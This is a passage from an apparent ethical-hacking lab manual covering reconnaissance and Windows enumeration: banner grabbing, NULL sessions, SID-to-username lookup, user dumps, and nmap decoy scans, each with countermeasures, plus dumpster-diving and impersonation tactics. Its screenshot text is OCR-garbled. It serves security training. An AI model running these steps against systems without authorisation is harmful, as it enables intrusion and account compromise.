[+] Host 172.16.1.40 Running OS: "Microsoft Windows XP SP1" (Guess probability:	
100%)	
[+] Host 172.16.1.40 Running OS: "Microsoft Windows 2000 Server" (Guess probabil	
ity: 100%)	
[+] Host 172.16.1.40 Running OS: "Microsoft Windows 2000 Workstation SP4" (Guess	
probability: 100%)	
[+] HOST 172.10.1.40 Kunning US: Microsoft Windows 2000 Workstation SP3 (Guess	
[1] Host 172 16 1 40 Running OS: "Microsoft Windows 2000 Workstation SP2" (Guess	
modability: 100%)	
[+] Cleaning up scan engine	
[+] Modules deinitialized	
	V 03
	1.01

From the results of this example:

- The primary guess is the target is running Microsoft Windows XP
- The other guesses include:
- Microsoft Windows 2000 Server Service Pack 4
- Microsoft Windows 2000 Server Service Pack 3
- Microsoft Windows 2000 Server Service Pack 2
- Microsoft Windows 2000 Server Service Pack 1
- Microsoft Windows XP SP1
- Microsoft Windows 2000 Workstation Service Pack 4

In this example, the primary guess of Xprobe2 was incorrect as the target was actually Microsoft Windows 2000 Server with no updates or service packs installed.

*Note: Even though Xprobe2 misidentified the target, it is possible that Xprobe has identified the host computer, which in this case is Microsoft Windows XP. Even so, Xprobe2 did identify that the target was Microsoft Windows in origin.

Lab 5: Banner Identification

Banner Grabbing: AMAP

Prerequisites: None

Countermeasures: Uninstall/disable unnecessary Services, banner alteration

- **Description:** The amap application is used to obtain specific banner information from other running services by connecting to other ports on the target. An attacker uses this information to launch appropriate attacks for the results obtained. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** Download or compile the application and execute it with the following syntax:

```
amap <-options> target ip address
```

To install amap on a Linux computer:

- From the Linux directory containing the amap application type **tar** -**zxvf amap-5.2.tar.gz**.
- The contents of the file will be uncompressed in a new directory named amap-5.2.
- Change to the new directory by typing **cd amap-5.2** and pressing **Enter**.
- From the new directory the amap application needs to be configured for the computer it resides on by typing **./configure**.
- The amap application compiles.



The next step is to make the amap executable by typing **make** and pressing **Enter**.



The make command will create the amap executable.



To scan a target with an IP address of 172.16.1.40, run the FTP service and grab the banner information, type the following:

^{./}amap -B 172.16.1.40 21

The *amap* is the application itself. The –B option is the "Just Grab Banners Only" command. The 172.16.1.40 is the target IP address. 21 is the port the FTP service runs on.



The amap application will scan the target on port 21 and in this example will grab only the banner information available on that port.



- In this example, the target:
 - Resolves to the hostname of win2000s-v.
 - Is running the Microsoft FTP Service (Version 5.0).

To install amap on a Windows computer:

■ From the directory containing the amap executable, to scan a target with an IP address of 24.227.197.21 run the FTP service and grab the banner information by typing the following:

amap -B 172.16.1.40 21



■ Amap for Windows will execute:



As in the Linux example, the target:

- Resolves to the hostname of win2000s-v.
- Is running the Microsoft FTP Service (Version 5.0).

Lab 6: Banner Identification

Banner Grabbing: BANNER.C

Prerequisites: None

- **Countermeasures:** Uninstall/disable unnecessary services, SSH, VPN, IPSEC, banner alteration.
- **Description:** The banner.c script is compiled and used to obtain specific banner information from other running services by connecting to other ports on the target. An attacker uses this information to launch appropriate attacks for the results obtained. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** From a Linux terminal, compile the banner.c script and then type the following with the syntax of:

./banner (Start IP) (End IP) (Start Port) (End Port)

From the Linux directory containing the script compile the banner.c script first by typing **gcc banner.c** –**o banner**.

Once compiled, type:

```
./banner 192.168.11.120 192.168.11.120 21 21
```

*Note: Your target IP may vary as in this example, the IP address of my target was 192.168.11.120 and I was only grabbing the banner information for port 21 (the FTP port).



The results in this example determined that:

- Port 21 is open.
- The target is using Microsoft FTP Service, version 5.0.

The following syntax will attempt to grab the banner information from the same target, port 25:

./banner 192.168.11.120 192.168.11.120 25 25

🔄 Red Hat Linux 8 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🔲 💷 🕨 🏷 🧑 Snapshot 🙀 Revert 🖬 🔯	
Windows 2000 Server SUSE Linux 8.2 Windows 2000 Advanced Server Red Hat Linux 8 Server Red Hat Linux 8.0	∢ ⊳ ×
🔽 root@localhost:~/tools/banner - Shell - Konsole 📃 🖛 🗶)
Trash Session Edit View Settings Help	
Banner v1.0 beta By - Cyber_Bob	
Press ENTER to Continue	
Flopp	
Started!	
Reading info for host #1	
Home	
Banner: 220 win2000s-v Microsoft ESMTP MAIL Service, Version: 5.0.2172.1 ready a	
t Wed, 13 Oct 2004 19:00:59 -0500	
Statt H	
Checking for possible insecure daemons	
None of the daemons checked for were found!	
Finished!	
[root@localhost banner]#	
Construction - Mozilla	19:03
	200

The result in this example determined that:

- Port 25 is open.
- The target is using Microsoft ESMTP MAIL Service, version 5.0.2172.1.













Lab 7: Personal Social Engineering

Social Engineering Techniques: Dumpster Diving/Personnel

Prerequisites: None

- **Countermeasures:** Enforced security policy, prosecution for violations, training, document shredding.
- **Description:** Information that companies consider sensitive is thrown out daily in the normal garbage cans. Attackers can successfully retrieve this data by literally climbing into the company dumpsters and pilfering through the garbage. Information such as names, Social Security numbers, addresses, phone numbers, account numbers, balances, and so forth is thrown out every day somewhere. I personally know a nationally recognized movie rental company that still uses carbon paper in its fax machine. Once the roll is used up they simply throw the entire roll in the dumpster. The information on that roll is priceless, including names, addresses, account numbers, phone numbers, how much they actually pay for their movies, and so forth.
- Another social engineering attack that also proves to be very successful is when an attacker dresses in the uniform of those personnel considered "honest" and "important" or even "expensive." For example; an attacker purchases/steals the uniform of a carrier, telephone, or gas or electric employee and appears carrying boxes and/or clipboards, pens, tools, etc. and perhaps even an "official-looking" identification badge or a dolly carrying "equipment." These attackers generally have unchallenged access throughout the building as employees tend to see "through" these types of people. When is the last time you challenged one of these personnel to verify their credentials?
- This attack is very risky as the attacker can now be personally identified should he or she get caught.
- Again, this attack is normally very successful so bear this in mind.

Chapter 3

Target Enumeration

Lab 8: Establish a NULL Session

Establish a NULL Session: NULL Session

Prerequisites: Transfer Control Protocol (TCP) 139, IPX, or NetBEUI

- **Countermeasures:** Secure access control lists (ACLs), Restrict Anonymous, host-based firewalls
- **Description:** The NULL session is used on Windows computers via the Inter-Communication Process (IPC\$) to allow the viewing of shared resources. This connection is made without a username or password. An attacker will use the NULL session to his or her advantage to enumerate user information from the target. Many enumeration labs are more successful when establishing a NULL session.
- **Procedure:** From an operating system (OS) prompt enter the following syntax:

```
net use \\Target IP Address\IPC$ ""/u:""
```



When successful, the result will show *The command completed successfully*. Note that this is **not** logged in the System Event Log!

*Note: As long as the target computer has not restricted NULL sessions (see the "Restrict Anonymous" section in Chapter 1) and a firewall is not used to identify attempts to connect or deny connections to port 139 or 445, this technique works. Again, remember that this connection is **not** logged in the System Event Log.

Lab 9: Enumerate Target MAC Address

Enumerate MAC Address and Total NICs: GETMAC

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

- **Description:** The GETMAC application is used to identify the Media Access Control (MAC) address assigned to each network card (NIC) of the target. Another feature of the GETMAC application will identify the total number of NICs in the target.
- **Procedure:** Establish NULL session (refer to Lab 8). Then from a DOS prompt, type the following with the syntax of:



getmac IP Address

In this example, the target MAC addresses have been identified as well as the total number of NICs. In this case, two NICs have been identified.

🚥 Command Prompt		- 🗆 X
C:\Tools\Windows\g	etmac>getmac \\192.168.0.8	^
Information for ma Transport Address	chine \\192.168.0.8 Transport Name	
00-0C-29-A3-E4-40 24-C8-20-52-41-53	 Device\Nbf_3CCB131C-3641-473B-BD85-DE03233403FD> \Device\Nbf_NdisWanNbfIn{A373D4FC-5BF3-45E4-9321-1BF7881]	B18FØ
28-DB-20-52-41-53	\Device\Nbf_NdisWanNbfIn{9FBA32C8-CC98-4978-8F16-65A3B40	1E38Ø
/ 2A-62-20-52-41-53	\Device\Nbf_NdisWanNbfOut{ECBC1802-4E72-4FA9-AD8F-D93AB7	123C9
00-00-00-00-00-00 00-0C-29-A3-E4-40	\Device\NetbiosSmb \Device\NetBT_Tcpip_{3CCB131C-3641-473B-BD85-DE03233403FL	D>
C:\Tools\Windows\g	etmac>	
		-

In this case, the target has the following MAC addresses for each identified NIC:

NIC 1: 00-0C-29-A3-E4-40 NIC 2: 24-C8-20-52-41-53

Lab 10: Enumerate SID from User ID

Enumerate the SID from the Username: USER2SID

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

- **Description:** Every account on a Windows computer has a Security Identifier (SID). SIDs are static for the machine the user accounts are installed on. The USER2SID application is used to enumerate the SID from a given username. Once the SID has been identified the username can be enumerated regardless of what the user account has been renamed (covered in Lab 11).
- **Procedure:** First establish a NULL session. From a DOS prompt type the following syntax:

user2sid <\\Target IP Address> account name

*Note: The computer name is optional with this utility. If none is given the local computer is used.

In this example, the target IP address is 172.16.1.40 and the target account name is Administrator.



In this example the username of the Administrator:

- Has a SID of 5-21-1220945662-1343024091-854245398. (The S-1 and number at the end, in this case 500, is not part of the SID.)
- Is in the WIN2000S-V domain.



*Note: As you will learn in the next lab you can immediately verify if certain account names are the "real" names. For instance, this example shows that the Administrator account number ends in 500. The 500 is known as the Relative Identifier (RID) and is ALWAYS 500 on a Windows computer.

Lab 11: Enumerate User ID from SID

Enumerate the Username from the Known SID: SID2USER

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

Description: Every user account on a Windows computer has a RID. Certain RIDs are static. The SID2USER application is used to enumerate the username from a given SID regardless of what the account may have been renamed. (Refer to Lab 10 for a SID.)

Procedure: Establish a NULL session and initiate a query against the target.

From the directory containing the sid2user executable establish a NULL session (refer to Lab 8). From a DOS prompt, type the following syntax:

sid2user <\\Target IP Address> SID RID

*Note: The computer name is optional with this utility. If none is given the local computer is used.

User accounts that carry the same RID regardless of what the account has been renamed to are shown here:

Username	RID
Administrator	500
Guest	501
User Accounts	1000 +

In this example, the known SID (refer to Lab 10) is given plus the known Administrator RID of 500.



*Note: Notice that the dashes are not included in the SID as identified from Lab 10, as well as the S-1 at the beginning of the number. You must leave these out for sid2user to correctly identify the username based on the SID plus RID.

In the results from the example above notice that from the SID from Lab 10 plus the static RID of the Administrator account (500):

- The username for that RID is actually the Administrator account.
- The target resides in the WIN2000S-V domain.

Wi 💽	ndows 2000 Professional - VMware Workstation	_ 🗆 ×
File	Edit View VM Team Windows Help	
合 H	ome 🖶 Windows 2000 Professional 🔐 Red Hat Linux 👫 Red Hat Linux 8 Server 📳 Windows 2000 Server	×
My L My L My L My Re	Chullenting Image: State of the state of	
18 5	tart 🖄 🍘 🖫 🖉 Index of /files/NT - Micros 🖾 C:\WINNT\System32\	[]및 7:16 PM

On the target computer the Administrator account has been renamed to Kermit.



Now when the SID2USER application is run against the target:



From the example:

- The renamed Administrator account of Kermit has been identified by the RID of 500. Remember that the RID for the real Administrator account will always be 500 regardless of what the account is renamed to.
- As before, the target resides in the WIN2000S-V domain.
- *Note: Knowing the username is half the battle to cracking an account. An attacker can now inject the username of Kermit into a brute-force password-cracking program until the correct password is identified.
Lab 12: Enumerate User Information

Enumerate User Information from Target: USERDUMP

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

- **Description:** The USERDUMP application is designed to gather user information from the target. Some of the information enumerated is the user RID, privileges, login times, login dates, account expiration date, network storage limitations, login hours, and much more.
- **Procedure:** Establish a NULL session (refer to Lab 8). From a DOS prompt type the following syntax:

userdump \\Target IP Address Target Username

🚳 Com	mand Prompt		B×
C:\To	ls\Foundstone1\us	erdump>userdump \\192.168.142.143 administrator	-
	UserDump v1.11	- thor@hammerofgod.com	
	Querying Contro	ller \\192.168.142.143	
	USER INFO Username: Full Name: Comment: User Comment: User ID: Primary Grp: Privs: OperatorPrivs:	Administrator Built-in account for administering the computer/domai 500 513 No explicit OP Privs No explicit OP Privs	n
	SYSTEM FLAGS (F User's pwd neve	lag dword is 66049) r expires.	
	MISC INFO LastLogon: LastLogon: LastLogof: Max Estagon: UnitsperWeek: Bad pw Gount: Num Logons: Code page: Profile: Scriuffath: Home Din: PasswordExp:	Fri Jan 16 00:22:07 2004 Fri Jan 16 00:44:14 2004 Never Unlimited 168 2 2 0 0	
	Logon hours at Hours- Sunday Monday Tuesday Wednesday Thursday Friday Saturday	controllor, GMT: 1233557991M12335578981M 11111111111111111111111 1111111111	
ation ation	USER INFO Username: Full Name: Comment: User Comment: Services Destross Primary Grp: Primary Grp: Primary Grp: Primary Grp: OperatorPrivs:	IUSE REEMIT Internet Quest Account Built-in account for anonymous access to Internet Inf Built-in account for anonymous access to Internet Inf 1001 513 Quest Prive Quest Prive No explicit OF Prive	01°M 01°M
	SYSTEM FLAGS (F	lag dword is 66145)	-

The results reveal the following username Administrator details:

- The User ID is 500. (This tells us that this is indeed the real Administrator account.)
- The user's password never expires.
- The Administrator last logged in at 12:44 a.m. on January 16, 2004.
- The account has had 9 bad password attempts.
- The Administrator has only logged in to this computer 2 times.
- The PasswordExp is set to 0. (This tell us that the password never expires.)
- The logon hours are all set to 1. (This tells us that the Administrator can log in 24/7.)
- Other information.

The username Administrator details have been successfully enumerated via the USERDUMP application.

Lab 13: Enumerate User Information

Exploit Data from Target Computer: USERINFO Windows

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

- **Description:** The USERINFO application is designed to gather user information from the target. Some of the information enumerated is the user RID, privileges, login times, login dates, account expiration date, network storage limitations, login hours, and much more. An attacker uses this information in his or her social engineering phase of an attack.
- **Procedure:** Establish a NULL session (refer to Lab 8). From a Disc Operating System (DOS) prompt type the following syntax:

userinfo \\Target IP Address Target Username

🗪 Command Prompt	- 🗆 ×
C:\Documents and Settin userinfo>userinfo \\192	gs\mspivey\My Documents\Security\Hacking Seminar\Windows\ .168.11.120 administrator
UserInfo v1.5 -	thor@hammerofgod.com
Querying Contro	ller \\192.168.11.120
USER INFO	
Username: Full Name:	Administrator
Comment: User Comment:	Built-in account for administering the computer/domain
User ID:	500
Primary Grp:	513
Privs:	Admin Privs
OperatorPrivs:	No explicit OP Privs
SYSTEM FLAGS (F User's pwd neve	lag dword is 66049) r expires.
MISC INFO Password age: LastLogoff: Acct Expires: Max Storage: Workstations: UnitsperWeek: Bad pw Count: Num logons: Country code: Code page: Profile: ScriptPath: Homedir drive: Home Dir: PasswordExp;	Sun Feb 10 18:08:04 2002 Thu Oct 14 04:17:52 2004 Thu Jan 01 00:00:00 1970 Never Unlimited 168 0 6 0 0
Loron hours at	controller GMT:
Hours-	12345678901N12345678901M
Sunday	111111111111111111111111111111111111111
Monday	111111111111111111111111
Tuesday	111111111111111111111111
Wednesday	1111111111111111111111111
Thursday	111111111111111111111111
Friday	111111111111111111111111111111111111111
Saturday	111111111111111111111111111111111111111
Get hammered at	HammerofGod.com!
C:\Documents and Setting userinfo>	gs\mspivey\My Documents\Security\Hacking Seminar\Windows\

*Note: Notice the results returned with USERINFO are identical to the USERDUMP application (see Lab 12). Both tools use the NetUserGetInfo API windows call.

Lab 14: Enumerate User Information Exploit User Information from Target: DUMPSEC

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

- **Description:** The DUMPSEC application is designed to gather the user information from the target. Basically the application is a front-end application for the NetUserGetInfo API windows call. Do not forget to establish a NULL session first.
- **Procedure:** Establish a NULL session (refer to Lab 8). Open the DUMPSEC application; enter target information, the dump user information, and then read the results given.

Open the DUMPSEC application from the directory containing the executable.



This is the initial screen when DUMPSEC is started. There is not much here, yet. From **Report, Select Computer**, enter the target IP address and click **OK**.

Select Computer	\mathbf{X}
\\192.168.11.120	
ОК	Cancel

The **Dump Users as Table** screen appears.

Dump Users as Table		×
Available fields: UserName GroupS GroupComment GroupType FullName AccountType Comment HomeDrive HomeDrive HomeDrive HomeDrive Profile LogonScript Workstations PswdCanBeChanged PswdLastSetTime PswdExpires	<u>A</u> dd -> K- <u>R</u> emove Move <u>U</u> p Move <u>D</u> own OK Cancel	Selected fields (in sort order):
Show normal user accounts Show "true" last logon time (i	.e. search all logo	Show computer accounts

From **Report**, select **Dump User as Column**. Click **Add** until all items on the left are now on the right on the screen.

Dump Users as Table		×
Available fields:		Selected fields (in sort order):
	<u>A</u> dd ->	PswdCanBeChanged
	<- <u>R</u> emove	PswdRequired PswdExpires
	Move <u>U</u> p	AcctDisabled AcctLockedOut
	Move <u>D</u> own	LastLogonServer
	ОК	Sid BasDialin
	Cancel	RasCallbackNumber
Show normal user accounts		Show computer accounts
✓ Show "true" last logon time (i	.e. search all log	on servers)

Click OK.

🖨 Somarsoft DumpSo	ec (formerly DumpAcl) - \\192	.168.11.120	
Ele Edit Search Repo	ort <u>V</u> iew <u>H</u> elp		
UserName	Groups	GroupConnent	
Administrator	Administrators	Administrators have complete and unrestricted access to the computer/domain	
Guest	Guests	Guests have the same access as members of the Users group by default, except	for the Guest
IUSR_WIN2000S-V	Guests	Guests have the same access as members of the Users group by default, except	for the Guest
IWAM_WIN2000S-U	Guests	Guests have the same access as members of the Users group by default, except	for the Guest
NetShowServices	Administrators	Administrators have complete and unrestricted access to the computer/domain	
NetShowServices	NetShow Administrators	Members can fully administer Windows Media Services	
TsInternetUser	Guests	Guests have the same access as members of the Users group by default, except	or the Guest
1			5
Found 6 upper			00001

The results from the target will appear in the main window.

somarsoft DumpSe	ec (formerly DumpAcl) - W	192.168.11.120			
Eile Edit Search Repo	rt <u>V</u> iew <u>H</u> elp				
UserName	IOut AcctExpiresTime	LastLogonTime	LastLogonServer	LogonHours	Sid
Administrator	Never	10/13/2004 11:17 PM	192.168.11.120		S-1-5-21-1220945662-1343024091-854245398-500
Guest	Never	Never	192.168.11.120	A11	S-1-5-21-1220945662-1343024091-854245398-501
IUSR_WIN2000S-V	Never	10/11/2004 8:25 PM	192.168.11.120	A11	S-1-5-21-1220945662-1343024091-854245398-1003
IWAM_WIN2000S-V	Never	10/9/2004 10:05 PM	192.168.11.120	A11	S-1-5-21-1220945662-1343024091-854245398-1004
NetShowServices	Never	10/13/2004 11:17 PH	192.168.11.120	A11	S-1-5-21-1220945662-1343024091-854245398-1001
NetShowServices	Never	10/13/2004 11:17 PH	192.168.11.120	A11	S-1-5-21-1220945662-1343024091-854245398-1001
TsInternetUser	Never	Never	192.168.11.120	A11	S-1-5-21-1220945662-1343024091-854245398-1000
					IN THE WAR DEPARTMENT TO A CONTRACT OF THE SECOND CONTRACT OF THE CONTRACT. OF THE CONTRACT OF THE CONTRACT OF THE CONTRACT OF THE CONTRACT OF
<					
					00001 //

Scrolling to the right will display the rest of the enumerated information.

***Note:** Extra attention should be given to the "notes" section of the results as many Administrators place sensitive information in that block, including passwords.

The DUMPSEC application may also be run from the DOS command line with the following syntax:

dumpsec /computer=\\Target IP Address /options



In this example, the DUMPSEC application will retrieve much of the same information as the Graphical Interface User (GUI) interface does but retrieve the results in comma-delimited format in a text file with the name of users.txt.



The contents of users.txt is displayed. Because this is in comma-delimited format this file may be imported into a spreadsheet such as Microsoft Excel.

Lab 15: Host/Domain Enumeration

Enumerate Hosts and Domains of LAN: Net Commands

Prerequisites: Access to UDP 137, IPX, or NetBEUI **Countermeasures:** Host-based firewalls

Description: The net commands are used to enumerate information from the Local Area Network (LAN). Information that can be obtained is the other hosts and domains within the LAN. Once a NULL session has been established, then any shares these hosts may have will be dis-

played as well.

Procedure: Net commands may be executed against a target without a NULL session; however, for optimum results a NULL session is recommended. The syntax is:

net <options>

From a DOS prompt, type the following with the syntax of:

net view



In this example, the hosts within your LAN or current domain are identified. This technique **only** works on the LAN and not through the Internet by typing: net view /domain



In this example, the domains on the LAN are identified. To identify the hosts within each domain, the syntax would be:

net view /domain:domain name



Access rights must be available in order to view the hosts on another domain. To view the nonhidden specific shares available to a target:



net view \\Target IP Address

In this example, the target is sharing two folders: Human Resources and Payroll.

*Note: If you find you are not obtaining the results desired, try initiating a NULL session to the target.

Lab 16: Target Connectivity/Route

Detect Target Connectivity: PingG

Prerequisites: None

- **Countermeasures:** Deny Internet Control Messenger Protocol (ICMP) requests/reply
- **Descriptions:** The ping application is used by an attacker to "see" if a target is connected to the network/Internet as the target will respond with a ping reply.
- **Procedure:** From a DOS prompt or Linux shell type the following with the syntax of:



ping (Target IP or Hostname)

In this example, the target is active and, based on the hostname of www.google.com, returns its IP address of **64.233.167.99**. Now the attacker has obtained the IP address of the target.

🖾 Command Prompt	- 🗆 X
C:\Documents and Settings\mspivey>ping www.google.com	^
Pinging www.google.akadns.net [64.233.167.99] with 32 bytes of data:	
Reply from 64.233.167.99: bytes=32 time=43ms TTL=238 Reply from 64.233.167.99: bytes=32 time=42ms TTL=238 Reply from 64.233.167.99: bytes=32 time=44ms TTL=238 Reply from 64.233.167.99: bytes=32 time=42ms TTL=238	
Ping statistics for 64.233.167.99: Packets: Sent = 4, Receiued = 4, Lost = 0 (0% loss), Approximate round trip tines in milli-seconds: Minimum = 42ms, Maximum = 44ms, Average = 42ms	
C:\Documents and Settings\mspivey>_	
	-

 Red Hat Linux 8 Server - VMware Workstation

 File
 Get Wew VM

 File
 Get Wew VM

 Proof
 Get Mat Linux 8 Server

 Worksware 2000 Server
 Subset Since Server

 Worksware 2000 Server
 Subset Since Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server
 Red Hat Linux 8 Server

 Red Hat Linux 8 Server

The ping command works in the same way in the Linux environment.

Notice that when you use the ping command by "pinging" the hostname, the IP address is returned.

💽 Red Hat Linux 8 Server - VMware Workstation	
File Edit View VM Power Snapshot Windows Help	
🔲 💵 🕨 🕟 🧑 Snapshot 🙀 Revert 🔽 🔯	
Windows 2000 Server SUSE Linux 8.2 Windows 2000 Advanced Server Red Hat Linux 8 Server Red Hat Linux 8.0	< ▷ ×
Tote localhostShell - Konsole Session Edit View Settings Help Image: Construct of the setting of	
Contraction Contra	15:13
	200

Sometimes when searching for the hostname with the ping utility, the hostname is not received as in the previous example. In Windows computers ping may still be useful by using the optional -a switch (*case sensitive*).

ping -a (Target IP or Hostname)

*Note: One difference between the Windows ping and other operating systems is that Windows does not provide the option to select the specific NIC to ping the target (providing you have multiple NICs in the "pinging" computer). If you need to use a specific NIC you must disable all other NICs.

Lab 17: Target Connectivity/Route

Connectivity/Routing Test: Pathping

Prerequisites: None

- **Countermeasures:** Deny ECHO/ICMP request/reply at the border router **Description:** The pathping application is used by attackers to not only verify the target but to view the route to the target. Many times the connection just before the target is a router that attackers may find useful to attack in addition to a computer.
- **Procedure:** From a DOS prompt type the following with the syntax of:



pathping (IP Address or Hostname)

The first result you will see is the route (hops) to the target along with the associated IP address of each hop.

💽 Windows 2000 Professional - VMware	Workstation	
File Edit View VM Team Windows	; Help	
Home 🔐 Windows 2000 Profession	nal 📑 Red Hat Linux	×
C:\WINNT\System32\cmd.exe		_ B ×
Computing statistics for 350	seconds	A
Source to Here Hop RTT Lost/Sent = Pct Ø	This Node/Link Lost/Sent = Pct	Address win-2000-v-1 [172.16.1.43]
1 2ms 0/100 = 0%	0/100 = 0% 0/100 = 0% 0/100 = 0%	home [172.16.0.1]
2 18ms 0∕100 = 0% 11.net [70.255.105.254]	0/100 = 0	ppp-70-255-105-254.dsl.hstntx.sv
3 18ms 0∕100 = 0% [151.164.11.189]	0/100 = 0% 0/100 = 0%	dist2-vlan60.hstntx.sbcglobal.ne
4 19ms 0∕100 = 0% 51.164.11.246]	0/ 100 = 0% 0/ 100 = 0%	bb1-g8-2-0.hstntx.sbcglobal.net
5 18ms 0∕100 = 0% .164.242.215]	0/100 = 0% 0/100 = 0%	 bb2.p9-0.hstntx.sbcglobal.net [1
6 17ms 0/100 = 0% 51.164.240.213]	0/100 = 0% 0/100 = 0%	¦ core2-p6-1.crhstx.sbcglobal.net
7 34ms 0/100 = 0%	$0 \times 100 = 0 \times 0 \times 100 = 0 \times 0 \times 100 = 0 \times 0 \times 0 \times 100 = 0 \times 0 \times$	151.164.191.192
8 32ms 0∕100 = 0% 51.164.241.86]	0/100 = 0	core2-p8-0.cratga.sbcglobal.net
9 34ms 0∕100 = 0% 1.164.190.81]	0/100 = 0% 0/100 = 0%	bb2-p11-0.atlnga.sbcglobal.net
10 33ms 0⁄100 = 0% 1.164.42.17]	$0 \times 100 = 0 \times 0 \times 100 = 0 \times 100 = 0 \times 0 \times 100 = 0 \times 0 \times$	 ex1-p11-1.pxatga.sbcglobal.net
11 35ms 0∕ 100 = 0%	0/100 = 0% 0/100 = 0%	¦ asn15169-google.pxatga.sbcglobal▼ ♪
Start	T\System32\	🤃 🗐 5:48 PM

The utility then calculates the statistics for each hop along the route.

💽 Windows 2000 Professional - VMware Workstation	
File Edit View VM Team Windows Help	
A Home 🔐 Windows 2000 Professional 🔐 Red Hat	Linux X
C:\WINNT\System32\cmd.exe	_ B ×
11 35ms 0/100 = 0% 0/100 et [151.164.250.138]	= 0% asn15169-google.pxatga.sbcglobal
0/ 100 12 100/ 100 =100% 100/ 100	= 0% =100% 216.239.46.166
13 100/100 =100% 100/100	= 02 =1002 216.239.49.226
14 35ms 0/100 = 0% 0/100	= 0% i = 0% 64.233.187.104
Trace complete.	
C:\>_	
Start 2 C:\WINNT\System32\	

Remember that many times next to the last hop, in this case 216.239.49.226, is a router. Routers make excellent targets when they are not properly secured.

Lab 18: Operating System Identification Identify Target Operating System: Nmap/nmapFE

Prerequisites: None

- **Countermeasures:** Banner alteration, firewalls, Intrusion Detection System (IDS)
- **Description:** The nmap/nmapFE applications can be used to identify the possible operating system (OS) of the target. An attacker uses this information to launch appropriate attacks for the results obtained. The difference between nmap and Xprobe2 from Chapter 2 is that this application allows the option of initiating a decoy IP address against the target. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** Compile and create the Linux executable and run it against the target with the syntax of:

```
nmap <options> (IP Address)
```

From a Linux Terminal containing the directory of the compressed nmap files type **nmap** *<options> (IP Address)*.

The files will uncompress into a new directory named **nmap-3.70**.

Change to the new directory by typing **cd nmap-3.70**.

From the new directory the nmap application must be compiled for the specific machine it is installed on by typing **./configure**.

The nmap application will compile to the specific machine it resides on.



The next step is to type the **make** command:



The command will execute.



The last step is to create the executable by typing **make install**.



The nmap application will now be created.

🗃 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🚯 Windows 2000 Professional 🔐 Red Hat Linux 👫 Red Hat Linux 8 Server 🚯 Windows 2000 Server	×
💙 root@localhost:~/tools/nmap/nmap-3.70	
Eile Edit View Terminal Go Help	
make[2]: Entering directory `/root/tools/nmap/nmap-3.70/nbase'	
make[2]: Nothing to be done for `all'.	
make[2]: Leaving directory `/root/tools/nmap/nmap-3.70/nbase'	
make[1]: Leaving directory `/root/tools/nmap/nmap-3.70/nsock/src'	
./shtool mkdir -f -p -m 755 /usr/local/bin /usr/local/man/man1 /usr/local/share/	
nmap	
./shtool install -c -m 755 nmap -s /usr/local/bin/nmap	
./shtool install -c -m 644 docs/nmap.1 /usr/local/man/man1/nmap.1	
./shtool install -c -m 644 nmap-services /usr/local/share/nmap/	
./shtool install -c -m 644 nmap-rpc /usr/local/share/nmap/	
./shtool install -c -m 644 nmap-os-fingerprints /usr/local/share/nmap/	
./shtool install -c -m 644 nmap-service-probes /usr/local/share/nmap/	
./shtool install -c -m 644 nmap-protocols /usr/local/share/nmap/	
./shtool install -c -m 644 nmap-mac-prefixes /usr/local/share/nmap/	
./shtool mkdir -f -p -m 755 /usr/local/bin /usr/local/man/man1 /usr/local/share/	
nmap /usr/local/share/gnome/apps/Utilities	
If the next command fails you cannot use the X front end	\$
test -f nmapfe/nmapfe && ./shtool install -c -m 755 -s nmapfe/nmapfe /usr/local	
/bin/nmapfe && rm -f /usr/local/bin/xnmap && ./shtool mkln -f -s /usr/local/bin/	
nmapfe /usr/local/bin/xnmap && ./shtool install -c -m 644 nmapfe.desktop /usr/l	
ocal/share/gnome/apps/Utilities/nmapfe.desktop && ./shtool install -c -m 644 do	
cs/nmapfe.1 /usr/local/man/man1/nmapfe.1 && ./shtool install -c -m 644 docs/xnm	
ap.1 /usr/local/man/man1/xnmap.1	
froot@localhost nmap-3.70]#	
	Mon Nov 07 8:31 PM

In this example, to execute nmap against a target with the IP of 172.16.1.40 to determine the target's operating system, type the following:

nmap -sS -p 139 -O -D 24.213.28.234 172.16.1.40

- The –sS option instructs nmap to use a TCP Synchronized (SYN) stealth port scan. This option is initiated by default if you are logged in as the root user.
- The -p 139 option instructs nmap to scan for a specific port, in this case port 139.
- The –O option instructs nmap to use TCP/IP fingerprinting to guess the target operating system.
- The –D 24.213.28.234 option instructs nmap to use this IP address as a decoy against the target to attempt to throw anyone off that may be reviewing the logs, IDS sensors, and so forth
- *Note: The "-*p 139*" in the example above can be any port but normally is a port known to be open on the target so many times port 53 or 80 is used.

Also, with the –D option the attacker can enter several decoy IP addresses separated by a comma (24.24.24.24, 24.24.25 ...) but keep in mind the **real IP address** will also traverse to the target as well. This supports using more decoy IPs or spoofing your IP address altogether (spoofing is covered in Chapter 6).



The operating system guess will now take place.



From a sniffer (sniffers are covered in Chapter 5) we can validate from the target that the decoy IP address was sent to the target.

24 12.306690	24.213.28.234	172.16.1.40	ICMP	Echo (ping) request
